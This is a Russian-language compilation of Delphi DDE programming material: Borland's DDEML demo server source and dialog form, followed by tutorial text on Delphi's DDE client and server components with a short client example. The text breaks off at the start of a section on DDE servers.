    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure EnterData1Click(Sender: TObject);
    procedure Clear1Click(Sender: TObject);

  private
    Inst: Longint;
    CallBack: TCallback;
    ServiceHSz: HSz;
    TopicHSz: HSz;
    ItemHSz: array[1..NumValues] of HSz;
    ConvHdl: HConv;
    Advising: array[1..NumValues] of Boolean;

    DataSample: TDataSample;

  public
    { Public declarations }
  end;

var

  Form1: TForm1;

implementation
uses DDEDlg; { Форма DataEntry }

{$R *.DFM}

procedure TForm1.Exit1Click(Sender: TObject);
begin

  Close;
end;
{ Глобальная инициализация }

const

  DemoTitle: PChar = 'DDEML демо, серверное приложение';

  MaxAdvisories = 100;
  NumAdvLoops: Integer = 0;

  { Локальная функция: Процедура обратного вызова для DDEML }

  { Данная функция обратного вызова реагирует на все транзакции,
  генерируемые DDEML. Объект "target Window" (окно-цель)
  берется из глобально хранимых, и для реагирования на данную
  транзакцию, тип которой указан в параметре CallType,
  используются подходящие методы этих объектов.}

function CallbackProc(CallType, Fmt: Word; Conv: HConv; HSz1, HSz2: HSZ;

  Data: HDDEData; Data1, Data2: Longint): HDDEData; export;
var

  ItemNum: Integer;
begin

  CallbackProc := 0; { В противном случае смотрите доказательство }

  case CallType of

    xtyp_WildConnect:
      CallbackProc := Form1.WildConnect(HSz1, HSz2, Fmt);

    xtyp_Connect:
      if Conv = 0 then
      begin
        if Form1.MatchTopicAndService(HSz1, HSz2) then
          CallbackProc := 1; { Связь! }
      end;
    { После подтверждения установки соединения записываем
    дескриптор связи как родительское окно.}

    xtyp_Connect_Confirm:
      Form1.ConvHdl := Conv;

    { Клиент запрашивает данные, делает прямой запрос или
    отвечает на уведомление. Возвращаем текущее состояние данных.}

    xtyp_AdvReq, xtyp_Request:
      begin
        ItemNum := Form1.MatchTopicAndItem(HSz1, HSz2);
        if ItemNum > 0 then
          CallbackProc := Form1.DataRequested(CallType, ItemNum, Fmt);
      end;

    { Отвечаем на Poke-запрос ... данная демонстрация допускает
    только Pokes для DataItem1. Для подтверждения получения
    запроса возвращаем dde_FAck, в противном случае 0.}

    xtyp_Poke:
      begin
        if Form1.AcceptPoke(HSz2, Fmt, Data) then
          CallbackProc := dde_FAck;
      end;

    { Клиент сделал запрос для старта цикла-уведомления.
    Имейте в виду, что мы организуем "горячий" цикл.
    Устанавливаем флаг Advising для указания открытого
    цикла, который будет проверять данные на предмет
    их изменения.}

    xtyp_AdvStart:
      begin
        ItemNum := Form1.MatchTopicAndItem(HSz1, HSz2);
        if ItemNum > 0 then
        begin
          if NumAdvLoops < MaxAdvisories then
          begin { Произвольное число }
            Inc(NumAdvLoops);
            Form1.Advising[ItemNum] := True;
            CallbackProc := 1;
          end;
        end;
      end;

    { Клиент сделал запрос на прерывание цикла-уведомления.}

    xtyp_AdvStop:
      begin
        ItemNum := Form1.MatchTopicAndItem(HSz1, HSz2);
        if ItemNum > 0 then
        begin
          if NumAdvLoops > 0 then
          begin
            Dec(NumAdvLoops);
            if NumAdvLoops = 0 then
              Form1.Advising[ItemNum] := False;
            CallbackProc := 1;
          end;
        end;
      end;
  end; { Case CallType }

end;

{ Возращает True, если данные Topic и Service поддерживаются
этим приложением. В противном случае возвращается False.}

function TForm1.MatchTopicAndService(Topic, Service: HSz): Boolean;
begin

  Result := False;
  if DdeCmpStringHandles(TopicHSz, Topic) = 0 then
    if DdeCmpStringHandles(ServiceHSz, Service) = 0 then
      Result := True;
end;

{ Определяем, один ли Topic и Item поддерживается этим
приложением. Возвращаем номер заданного элемента (Item Number)
(в пределах 1..NumValues), если он обнаружен, и ноль в
противном случае.}

function TForm1.MatchTopicAndItem(Topic, Item: HSz): Integer;
var

  I: Integer;
begin

  Result := 0;
  if DdeCmpStringHandles(TopicHSz, Topic) = 0 then
    for I := 1 to NumValues do
      if DdeCmpStringHandles(ItemHSz[I], Item) = 0 then
        Result := I;
end;

{ Отвечаем на запрос wildcard-соединения (дословно -
дикая карта, шаблон). Такие запросы возникают всякий раз,
когда клиент пытается подключиться к серверу с сервисом
или именем топика, установленного в 0. Если сервер
обнаруживает использование такого рода шаблона, он
возвращает дескриптор массива THSZPair, содержащего
найденные по шаблону Service и Topic.}

function TForm1.WildConnect(Topic, Service: HSz; ClipFmt: Word): HDDEData;
var

  TempPairs: array[0..1] of THSZPair;
  Matched: Boolean;
begin

  TempPairs[0].hszSvc := ServiceHSz;
  TempPairs[0].hszTopic := TopicHSz;
  TempPairs[1].hszSvc := 0; { 0-завершает список }
  TempPairs[1].hszTopic := 0;

  Matched := False;

  if (Topic = 0) and (Service = 0) then
    Matched := True { Шаблон обработан, элементов не найдено }
  else if (Topic = 0) and (DdeCmpStringHandles(Service, ServiceHSz) = 0) then
    Matched := True
  else if (DdeCmpStringHandles(Topic, TopicHSz) = 0) and (Service = 0) then
    Matched := True;

  if Matched then
    WildConnect := DdeCreateDataHandle(Inst, @TempPairs, SizeOf(TempPairs),
      0, 0, ClipFmt, 0)
  else
    WildConnect := 0;
end;

{ Принимаем и проталкиваем данные по просьбе клиента.
Для демонстрации этого способа используем только
значение DataItem1, изменяемое Poke.}

function TForm1.AcceptPoke(Item: HSz; ClipFmt: Word;

  Data: HDDEData): Boolean;
var

  DataStr: TDataString;
  Err: Integer;
  TempSample: Integer;
begin

  if (DdeCmpStringHandles(Item, ItemHSz[1]) = 0) and
    (ClipFmt = cf_Text) then
  begin
    DdeGetData(Data, @DataStr, SizeOf(DataStr), 0);
    Val(DataStr, TempSample, Err);

    if IntToStr(TempSample) <> Label6.Caption then
    begin
      Label6.Caption := IntToStr(TempSample);
      DataSample[1] := TempSample;
      if Advising[1] then
        DdePostAdvise(Inst, TopicHSz, ItemHSz[1]);
    end;
    AcceptPoke := True;
  end
  else
    AcceptPoke := False;
end;

{ Возвращаем данные, запрашиваемые значениями TransType
и ClipFmt. Такое может произойти в ответ на просьбу
xtyp_Request или xtyp_AdvReq. Параметр ItemNum указывает
на поддерживаемый (в диапазоне 1..NumValues) и требуемый
элемент (обратите внимание на то, что данный метод
подразумевает, что вызывающий оператор уже установил
достоверность и ID требуемого пункта с помощью
MatchTopicAndItem). Соответствующие данные из переменной
экземпляра DataSample преобразуются в текст и возвращаются
клиенту.}

function TForm1.DataRequested(TransType: Word; ItemNum: Integer;

  ClipFmt: Word): HDDEData;
var
  ItemStr: TDataString; { Определено в DataEntry.TPU }

begin

  if ClipFmt = cf_Text then
  begin
    Str(DataSample[ItemNum], ItemStr);
    DataRequested := DdeCreateDataHandle(Inst, @ItemStr,
      StrLen(ItemStr) + 1, 0, ItemHSz[ItemNum], ClipFmt, 0);
  end
  else
    DataRequested := 0;
end;

{ Создаем экземпляр окна DDE сервера. Вызываем унаследованный
конструктор, затем устанавливаем эти объекты родителями
экземпляров данных. }

procedure TForm1.FormCreate(Sender: TObject);
var
  I: Integer;
begin

  Inst := 0; { Должен быть нулем для первого вызова DdeInitialize }
  @CallBack := nil; { MakeProcInstance вызывается из SetupWindow         }

  for I := 1 to NumValues do
  begin
    DataSample[I] := 0;
    Advising[I] := False;
  end; { for }

end;

{ Разрушаем экземпляр окна DDE сервера. Проверяем, был ли
создан экземпляр процедуры обратного вызова, если он существует.
Также, для завершения диалога, вызовите DdeUninitialize.
Затем, для завершения работы, вызовите разрушителя предка.}

procedure TForm1.FormDestroy(Sender: TObject);
var

  I: Integer;
begin

  if ServiceHSz <> 0 then
    DdeFreeStringHandle(Inst, ServiceHSz);
  if TopicHSz <> 0 then
    DdeFreeStringHandle(Inst, TopicHSz);
  for I := 1 to NumValues do
    if ItemHSz[I] <> 0 then
      DdeFreeStringHandle(Inst, ItemHSz[I]);

  if Inst <> 0 then
    DdeUninitialize(Inst); { Игнорируем возвращаемое значение }

  if @CallBack <> nil then
    FreeProcInstance(@CallBack);
end;

procedure TForm1.FormShow(Sender: TObject);
var

  I: Integer;
  { Завершаем инициализацию окна DDE сервера. Процедура инициализации
  использует DDEML для регистрации сервисов, предусмотренных данным
  приложением. Помните о том, что реальные имена, использованные в
  регистрах, определены в отдельном модуле (DataEntry), поэтому они
  могут быть использованы и клиентом. }

begin

  @CallBack := MakeProcInstance(@CallBackProc, HInstance);

  if DdeInitialize(Inst, CallBack, 0, 0) = dmlErr_No_Error then
  begin
    ServiceHSz := DdeCreateStringHandle(Inst, DataEntryName, cp_WinAnsi);
    TopicHSz := DdeCreateStringHandle(Inst, DataTopicName, cp_WinAnsi);
    for I := 1 to NumValues do
      ItemHSz[I] := DdeCreateStringHandle(Inst, DataItemNames[I],
        cp_WinAnsi);

    if DdeNameService(Inst, ServiceHSz, 0, dns_Register) = 0 then
      ShowMessage('Ошибка в процессе регистрации.');
  end;
end;

procedure TForm1.EnterData1Click(Sender: TObject);
{ Активизируем диалог ввода данных и обновляем
хранимые данные по окончании ввода.}
var

  I: Integer;

begin

  if DataEntry.ShowModal = mrOk then
  begin
    with DataEntry do
    begin
      Label6.Caption := S1;
      Label7.Caption := S2;
      Label8.Caption := S3;
      DataSample[1] := StrToInt(S1);
      DataSample[2] := StrToInt(S2);
      DataSample[3] := StrToInt(S3);
    end; { with }

    for I := 1 to NumValues do
      if Advising[I] then
        DdePostAdvise(Inst, TopicHSz, ItemHSz[I]);
  end; { if }
end;

procedure TForm1.Clear1Click(Sender: TObject);
{ Очищаем текущую дату. }
var

  I: Integer;

begin

  for I := 1 to NumValues do
  begin
    DataSample[I] := 0;
    if Advising[I] then
      DdePostAdvise(Inst, TopicHSz, ItemHSz[I]);
  end;

  Label6.Caption := '0';
  Label7.Caption := '0';
  Label8.Caption := '0';
end;

end.
{ ***  КОНЕЦ КОДА DDESVRU.PAS *** }

{ *** НАЧАЛО КОДА DDEDLG.DFM *** }
object DataEntry: TDataEntry

  Left = 488
    Top = 132
    ActiveControl = OKBtn
    BorderStyle = bsDialog
    Caption = 'Ввод данных'
    ClientHeight = 264
    ClientWidth = 199
    Font.Color = clBlack
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = [fsBold]
    PixelsPerInch = 96
    Position = poScreenCenter
    OnShow = FormShow
    TextHeight = 13
    object Bevel1: TBevel
    Left = 8
      Top = 8
      Width = 177
      Height = 201
      Shape = bsFrame
      IsControl = True
  end
  object OKBtn: TBitBtn
    Left = 16
      Top = 216
      Width = 69
      Height = 39
      Caption = '&OK'
      ModalResult = 1
      TabOrder = 3
      OnClick = OKBtnClick
      Glyph.Data = {
    BE060000424DBE06000000000000360400002800000024000000120000000100
    0800000000008802000000000000000000000000000000000000000000000000
    80000080000000808000800000008000800080800000C0C0C000C0DCC000F0CA
    A600000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    0000000000000000000000000000000000000000000000000000000000000000
    000000000000000000000000000000000000F0FBFF00A4A0A000808080000000
    FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00030303030303
    0303030303030303030303030303030303030303030303030303030303030303
    03030303030303030303030303030303030303030303FF030303030303030303
    03030303030303040403030303030303030303030303030303F8F8FF03030303
    03030303030303030303040202040303030303030303030303030303F80303F8
    FF030303030303030303030303040202020204030303030303030303030303F8
    03030303F8FF0303030303030303030304020202020202040303030303030303
    0303F8030303030303F8FF030303030303030304020202FA0202020204030303
    0303030303F8FF0303F8FF030303F8FF03030303030303020202FA03FA020202
    040303030303030303F8FF03F803F8FF0303F8FF03030303030303FA02FA0303
    03FA0202020403030303030303F8FFF8030303F8FF0303F8FF03030303030303
    FA0303030303FA0202020403030303030303F80303030303F8FF0303F8FF0303
    0303030303030303030303FA0202020403030303030303030303030303F8FF03
    03F8FF03030303030303030303030303FA020202040303030303030303030303
    0303F8FF0303F8FF03030303030303030303030303FA02020204030303030303
    03030303030303F8FF0303F8FF03030303030303030303030303FA0202020403
    030303030303030303030303F8FF0303F8FF03030303030303030303030303FA
    0202040303030303030303030303030303F8FF03F8FF03030303030303030303
    03030303FA0202030303030303030303030303030303F8FFF803030303030303
    030303030303030303FA0303030303030303030303030303030303F803030303
    0303030303030303030303030303030303030303030303030303030303030303
    0303}
    Margin = 2
      NumGlyphs = 2
      Spacing = -1
      IsControl = True
  end
  object CancelBtn: TBitBtn
    Left = 108
      Top = 216
      Width = 69
      Height = 39
      Caption = '&Отмена'
      TabOrder = 4
      Kind = bkCancel
      Margin = 2
      Spacing = -1
      IsControl = True
  end
  object Panel2: TPanel
    Left = 16
      Top = 88
      Width = 153
      Height = 49
      BevelInner = bvLowered
      BevelOuter = bvNone
      TabOrder = 1
      object Label1: TLabel
      Left = 24
        Top = 8
        Width = 5
        Height = 13
    end
    object Label2: TLabel
      Left = 8
        Top = 8
        Width = 48
        Height = 13
        Caption = 'Значение 2:'
    end
    object Edit2: TEdit
      Left = 8
        Top = 24
        Width = 121
        Height = 20
        MaxLength = 10
        TabOrder = 0
        Text = '0'
    end
  end
  object Panel1: TPanel
    Left = 16
      Top = 16
      Width = 153
      Height = 49
      BevelInner = bvLowered
      BevelOuter = bvNone
      TabOrder = 0
      object Label4: TLabel
      Left = 8
        Top = 8
        Width = 48
        Height = 13
        Caption = 'Значение 1:'
    end
    object Edit1: TEdit
      Left = 8
        Top = 24
        Width = 121
        Height = 20
        MaxLength = 10
        TabOrder = 0
        Text = '0'
    end
  end
  object Panel3: TPanel
    Left = 16
      Top = 144
      Width = 153
      Height = 49
      BevelInner = bvLowered
      BevelOuter = bvNone
      TabOrder = 2
      object Label6: TLabel
      Left = 8
        Top = 8
        Width = 48
        Height = 13
        Caption = 'Значение 3:'
    end
    object Edit3: TEdit
      Left = 8
        Top = 24
        Width = 121
        Height = 20
        MaxLength = 10
        TabOrder = 0
        Text = '0'
    end
  end
end
{ ***   КОНЕЦ КОДА DDEDLG.DFM *** }

{ *** НАЧАЛО КОДА DDEDLG.PAS *** }
{***************************************************}
{                                                   }
{   Delphi 1.0 DDEML Демонстрационная программа     }
{   Copyright (c) 1996 by Borland International     }
{                                                   }
{***************************************************}

{ Данный модуль определяет интерфейс сервера DataEntry DDE

(DDEMLSRV.PAS). Здесь определены имена Service, Topic,
и Item, поддерживаемые сервером, и также определена
структура данных, которая может использоваться
клиентом для локального хранения "показательных" данных.

Сервер Data Entry Server делает свои "показательные"
данные доступными в текстовом виде (cf_Text)
сформированными в виде трех различных топика (Topics).
Клиент может их преобразовывать в целое для
использования со структурой данных, которая здесь определена.
}
unit Ddedlg;

interface

uses WinTypes, WinProcs, Classes, Graphics, Forms, Controls, Buttons,

  StdCtrls, Mask, ExtCtrls;

type

  TDataEntry = class(TForm)
    OKBtn: TBitBtn;
    CancelBtn: TBitBtn;
    Bevel1: TBevel;
    Panel2: TPanel;
    Label1: TLabel;
    Label2: TLabel;
    Panel1: TPanel;
    Label4: TLabel;
    Panel3: TPanel;
    Label6: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    procedure OKBtnClick(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
  public
    S1, S2, S3: string;
    { Public declarations }
  end;

var

  DataEntry: TDataEntry;

implementation

{$R *.DFM}

procedure TDataEntry.OKBtnClick(Sender: TObject);
begin

  S1 := Edit1.Text;
  S2 := Edit2.Text;
  S3 := Edit3.Text;
end;

procedure TDataEntry.FormShow(Sender: TObject);
begin

  Edit1.Text := '0';
  Edit2.Text := '0';
  Edit3.Text := '0';
  Edit1.SetFocus;
end;

end.
{ ***  КОНЕЦ КОДА DDEDLG.PAS *** }

Взято с http://delphiworld.narod.ru


Динамический обмен данными (DDE)

Динамический обмен данными (DDE)

DDE — давний и прижившийся протокол обмена данными между разными приложениями, появившийся еще на заре эры Windows. С тех пор на его базе был создан интерфейс OLE, а в 32-разрядном API Windows появились и другие методы межпрограммного взаимодействия. Но ниша, занимаемая DDE, осталась неизменной — это оперативная передача и синхронизация данных в приложениях.

Приложения, использующие DDE, разделяются на две категории — клиенты и серверы (не путать с одноименной архитектурой СУБД). Оба участника процесса осуществляют контакты (conversations) по определенным темам (topic), при этом в рамках темы производится обмен элементами данных (items). Устанавливает контакт клиент, который посылает запрос, содержащий имена контакта и темы. После установления контакта всякое изменение элемента данных на сервере передается данным клиента. Подробно функции DDE описаны в [4].

Первоначально программирование DDE было чрезвычайно сложным делом — оно требовало взаимосвязанной обработки более чем десяти сообщений Windows. В версии Windows 3.1 появилась библиотека DDEML, которая перевела управление DDE на уровень вызова процедур. Разработчики подсистемы DDE в Delphi, верные идеологии создания VCL, свели интерфейс этого протокола к четырем компонентам — двум для сервера и двум для клиента.
На уровне поддержания контакта лежат компоненты TDDEServerConv и TDDEClientConv. Первый играет пассивную роль — он только указывает имя одной из поддерживаемых сервером тем. Все операции по установлению и разрыву контакта осуществляет из приложения-клиента второй компонент.

Посредством одного контакта могут быть связаны и синхронизированы несколько пар элементов данных. Для их описания предназначены компоненты
TDDEServerItem и TDDEClientItem. Каждый из них во время работы должен указывать на контакт, к которому он привязан. Кроме того, в составе обоих есть свойства, содержащие некий текст. При установленном контакте их содержимое синхронизируется.
Помимо этого в модуле DDEMAN описан и пятый компонент, который управляет всеми связями DDE. Его рассмотрение выходит за рамки книги.
Начнем с рассмотрения двух компонентов, необходимых для создания сервера DDE.

Компонент TDDeServerConv

TObject—>TPersistent->TCoinponent—>TDDeServerConv
Модуль DDEMAN
Страница Палитры компонентов System
В этом компоненте самую важную роль играет единственное свойство — Name. Имя компонента совпадает с именем темы, которую он поддерживает. Клиент должен знать это имя при установлении контакта, за исключением того случая, когда он подключается к данным контакта, которые скопированы в буфер обмена (это реализует компонент TDDEServerItem).
В моменты открытия и закрытия контакта возникают события:

property OnOpen: TNotifyEvent;
property OnClose: TNotifyEvent;

Первоначально протокол DDE был ориентирован только на оперативное получение данных клиентом от сервера, но позже его возможности расширились. Клиент может передать для выполнения серверу набор макрокоманд — для этого у него есть нужные методы. На стороне сервера за их исполнение отвечает обработчик события:
(pb) property OnExecuteMacro: TMacroEvent;
TMacroEvent = procedure(Sender: TObject; Msg: TStrings) of object;
Если вы хотите, чтобы ваш сервер DDE мог исполнять команды, то нужно предусмотреть такой обработчик. Передаваемые команды содержатся в параметре Msg в виде набора строк. Можно вызвать процесс выполнения команд и из приложения, с помощью метода:
function ExecuteMacro(Data: HDDeData): Longint;
В этом случае параметр Data должен содержать дескриптор строки с командами (типа pChar).

Компонент TDDeServerltem

TObject—"TPersistent—>TConiponent-"TDDeServerI tern
Модуль DDEMAN
Страница Палитры компонентов System
Этот компонент реализует элемент данных, которые при установленном контакте будут передаваться клиенту. В принципе, протокол DDE подразумевает обмен любыми данными, формат которых зарегистрирован в буфере обмена. Но для рассматриваемых компонентов Delphi эти возможности ограничиваются
только текстовыми данными. Так что свойство, содержащее формат обмена данными,
property Fmt: Integer;
всегда равно CF_TEXT. Данные содержатся в свойствах:
property Text: string;
property Lines: TStrings;
По сути дела, первое свойство представляет собой подмножество второго. При чтении Text равен первой строке Lines. Но если вы присваиваете ему значение, все прочие строки Lines очищаются. Элемент данных должен быть связан с определенной темой. В свойстве:
(Pb) property ServerConv: TDDeServerConv;
может быть задана ссылка на компонент типа TDDEServerConv, чье имя будет темой контакта DDE. Можно обойтись и без использования такого компонента. В этом случае именем темы будет являться заголовок (Caption) той формы, которая содержит TDDEServerItem. Элемент данных может быть скопирован в буфер обмена в специальном формате (в виде информации о контакте), с помощью метода:
procedure CopyToClipboard;
Для вступления в контакт посредством буфера обмена клиент может вызвать функцию GetPasteLinkInfo (см. ниже), и, проанализировав имена сервера, темы и элемента, принять решение о вступлении. Клиент может переустановить данные сервера. При переустановке возникает событие:
property OnPokeData: TNotifyEvent;
Кроме того, для этого вами может быть использован метод:
function PokeData(Data: HDDeData): Longint;
Параметр Data должен представлять собой дескриптор области памяти, в которой содержится текстовая строка типа pChar. В отличие от OnPokeData, событие:
property OnChange: TNotifyEvent;
возникает при любом изменении данных, как при присвоении значений свойствам Text или Lines, так и при вызове PokeData. Оно может также быть вызвано явно из метода: ^
procedure Change;

Компонент TDDECIIentConv

TObject->TPersistent->TComponent—>TDDEClientConv
Модуль DDEMAN
Страница Палитры компонентов System
Компонент TDDEClientConv осуществляет контакт на клиентской стороне. Именно в нем описаны методы, отвечающие за установление контакта. Имена требуемых сервера DDE и темы содержатся в свойствах:
property DDEService: String;
property DDETopic: String;
Сервер и тема устанавливаются при вхождении в контакт. Предусмотрены два режима вхождения в него:
property ConnectMode: TDataMode;
TDataMode = (ddeAutomatic, ddeManual);
Метод
function SetLink(const Service: string; const Topic: string): Boolean;
присваивает серверу и теме имена, равные Service и Topic, а если выбран режим контакта ddeAutomatic — то и устанавливает контакт. Будьте внимательны при задании параметров метода— здесь учитывается регистр символов. В случае режима ddeManual для установления контакта необходимо вызвать дополнительно метод:
function OpenLink: Boolean;
Этот метод сначала закрывает предыдущий контакт, затем он пытается связаться с сервером DDEService на тему DDETopic. Если это не удается сразу (например, если требуемый сервер DDE отсутствует), то делается попытка загрузить программу с именем, определенным в свойстве
(Pb) property ServiceApplication: String;
и установить контакт с ней. Если оно не определено (ServiceApplication = "), то в качестве последней попытки для контакта пробуется имя, представляющее собой конкатенацию имен сервера и темы, разделенных пробелом. В случае неудачи метод OpenLink возвращает False.
Можно связаться с сервером, если он поместил данные о контакте в буфер обмена. В этом случае метод
function PasteLink: Boolean;
переключит компонент на новый контакт и вернет значение True. Наконец, метод
procedure CloseLink;
разрывает контакт с сервером DDE.
Метод
function StartAdvise: Boolean;
инициирует начало обмена данными. Обычно он вызывается в методе OpenLink.
Как уже упоминалось, основное направление потоков данных — от сервера к клиенту, однако возможно и обратное. При помощи двух методов можно присвоить новые значения элементу данных сервера:
function PokeDataLines(const Item: string; Data: TStrings): Boolean;
function PokeData(const Item: string; Data: PChar): Boolean;
Здесь Item — имя элемента данных, Data — передаваемые текстовые данные. Кроме того, некоторые серверы DDE имеют собственные наборы макрокоманд, запрос на выполнение которых можно послать от клиента. К ним относятся многие приложения, в т. ч. СУБД и электронные таблицы, такие, как Paradox и MS Excel; наиболее типичным примером служит Program Manager. Запрос на выполнение макрокоманд посылают методы:
function ExecuteMacroLines(Cmd: TStrings; waitFIg: Boolean): Boolean-function ExecuteMacro(Cmd: PChar; waitFIg: Boolean): Boolean;
Серверу может потребоваться определенное время для выполнения этих операций. Если до их окончания снова загрузить его работой, то это может привести к непредсказуемым результатам. Чтобы отследить состояние сервера, нужно установить параметр функции waitFIg в True. С началом операции свойство
property WaitStat: Boolean;
устанавливается в True. При этом вызовы последних четырех описанных методов отрабатываться не будут, пока сервер не известит об окончании операции, и WaitStat не примет значение False. Это свойство доступно только по чтению. Клиент может запросить данные от сервера немедленно с помощью метода:
function RequestData(const Item: string): PChar;
Формат обмена данными можно узнать из свойства:
property DDEPmt: Integer;
Перефразируя Генри Форда, скажем, что можно обмениваться данными любого формата, если этот формат — CF_TEXT.
Если возможностей, предоставляемых методами и свойствами класса, недостаточно, то для вызова процедур библиотеки DDEML программисту доступен дескриптор контакта:
property Conv: HConv;
В полученном от сервера тексте могут быть специальные управляющие символы — <Enter>, <Tab>, <Backspace> и другие. Их можно отфильтровать (подавить), если свойство
property FormatChars: Boolean;
установлено в False. В этом случае все символы ASCII с десятичными кодами от 1 до 31 заменяются на пробел (код 32). В случае True преобразования не происходит.
Так же, как и в TDDEServerConv, при открытии и закрытии контакта вы можете выполнить специфотеские действия путем обработки событий:
property OnOpen: TNotifyEvent;
property OnClose: TNotifyEvent;
Свойство
property DataMode: TDataMode;
по-видимому, зарезервировано ддя дальнейших применений.

Компонент TDDECIientltem

TObject—>TPersistent—"TComponent—>TDDEClientItem
Модуль DDEMAN
Страница Палитры компонентов System
Этот компонент представляет элемент данных на клиентской стороне. После установления контакта с сервером нужно присвоить свойству
property DDEConv: TDDEClientConv;
указатель на объект, соответствующий появившемуся контакту, а свойству
property DDEItem: String;
имя элемента данных сервера. В этом случае все изменения будут отслеживаться.
В рассмотренном ниже примере приложение-клиент вступает в контакт с сервером InfbServer на тему TimeTopic. При нажатии кнопки TimeButton связь устанавливается, при отпускании — разрывается. Метод TimeConvOpen, служащий обработчиком события ОпОреп, присваивает значения именам темы и элемента данных.

const
  InfoServer = 'infoserv';
  TimeConversation = 'TimeTopic';
  ServerTimeItem = 'Timeltem' ;
  SCannotStart = 'Cannot start conversation';

procedure TFormI.TimeButtonClick(Sender: Tobject);
begin
  if TimeButton.Down then
    begin
      if not TimeConv.SetLink(InfoServer, TimeConversation) or not                   TimeConv.OpenLink then
        begin
          MessageDIg(SCannotStart, mtError, [mbOk], 0) ;
          TimeButton.Down := False;
        end
    end
  else
    TimeConv.CloseLink;
end;

procedure TPormI.TimeConvOpen(Sender: TObject);
begin
  ClientTimeItem.DDEConv := TimeConv;
  ClientTimeItem.DDEItem := ServerTimeItem;
end;

Организация данных у клиента сходна с той, которая принята на сервере:
property Text: String;
property Lines: TStrings;

Свойство Text является подмножеством Lines и содержит первую строку этого набора.
Когда изменяются данные на сервере, эти изменения отражаются в TDDEClientItem. В этот момент происходит событие:
property OnChange: TNotifyEvent;

В обработчике этого события и нужно предусмотреть реакцию на изменение данных — пересчет формулы, обновление текста и т. п.
Принципы работы с DDE отражены в примере DDEINFO. Приложение-сервер запускает таймер и с установленным периодом формирует текстовые строки со значением текущего времени и количества свободной памяти. Эти строки являются элементами данных соответствующих тем DDE. На форме клиента находятся две кнопки — Time и Memory. При их нажатии происходит попытка входа в соответствующий контакт. Если она была успешной, кнопка утапливается, и на ней отображается время или количество свободной памяти. При отжатии кнопки контакт разрывается.


DDE (статья)

Обзор

В данной статье приводятся основные факты о DDEML и показывается, как можно использовать DDE в программе. Предмет данной статьи технически сложен, однако библиотека Delphi упрощает наиболее трудные аспекты программирования DDE .
В статье предполагается, что читатель может знать очень мало о предмете. Цель статьи - научить его использовать концепцию DDE при создании приложений в среде Delphi.

Основы DDE

Аббревиатура DDEML обозначает Dynamic Data Exchange Management Library (библиотека управления динамическим обменом данными). DDEML это надстройка над сложной системой сообщений, называемой Dynamic Data Exchange (DDE). Библиотека, содержащая DDE била разработана для усиления возможностей первоначальной системы сообщений Windows.
DDE дает возможность перейти через рамки приложения и взаимодействовать с другими приложениями и системами Windows.
Dynamic Data Exchange получило свое имя потому, что позволяет двум приложениям обмениваться данными (текстовыми, через глобальную память) динамически во время выполнения. Связь между двумя программами можно установить таким образом, что изменения в одном приложении будут отражаться во втором. Например, если Вы меняете число в электронной таблице, то во втором приложении данные обновятся автоматически и отобразят изменения. Кроме того, с помощью DDE можно из своего приложения управлять другими приложениями такими, как Word for Windows, Report Smith, Excel и др.

Надеюсь, что данное краткое вступление поможет понять что предмет обсуждения представляет интерес. Далее рассказывается, как использовать компоненты Delphi для построения DDE приложений.

Использование DDE

Приложение, получающее данные из другого приложения по DDE и/или управляющее другим приложением с помощью команд через DDE является DDE-клиентом. В этом случае второе приложение является DDE-сервером. Одно и то-же приложение может быть одновременно и сервером, и клиентом (например, MicroSoft Word). Построение DDE-серверов и DDE-клиентов удобно рассмотреть на примере, поставляемом с Delphi (каталог x:\delphi\demos\ddedemo). Сперва давайте рассмотрим логику работы примера. Для начала нужно откомпилировать проекты DDESRVR.DPR и DDECLI.DPR, после этого запустите программу DDECLI.EXE (DDE-клиент) и выберите пункт меню File|New Link. При этом должна запуститься программа DDESRVR (DDE-сервер). Если теперь редактировать текст в окне сервера, то изменения мгновенно отразятся в приложении-клиенте

Пример демонстрирует и другие возможности DDE: - пересылка данных из клиента на сервер (Poke Data); наберите любой текст в правом окне DDE-клиента и нажмите кнопку Poke Data, этот текст появится в окне сервера. - исполнение команд (макросов) на сервере; наберите любой текст в правом окне DDE-клиента и нажмите кнопку Exec Macro, DDE-сервер выдаст соответствующее диалоговое окно. - установление связи через Clipboard; закройте оба DDE-приложения и запустите их заново, затем в DDE-сервере выберите пункт меню Edit|Copy, далее в клиенте выберите пункт меню Edit|Paste Link.

Теперь давайте рассмотрим эти демонстрационные программы с технической точки зрения и узнаем, каким образом в Delphi можно создать DDE-приложения. Начнем с DDE-сервера.

DDE-серверы

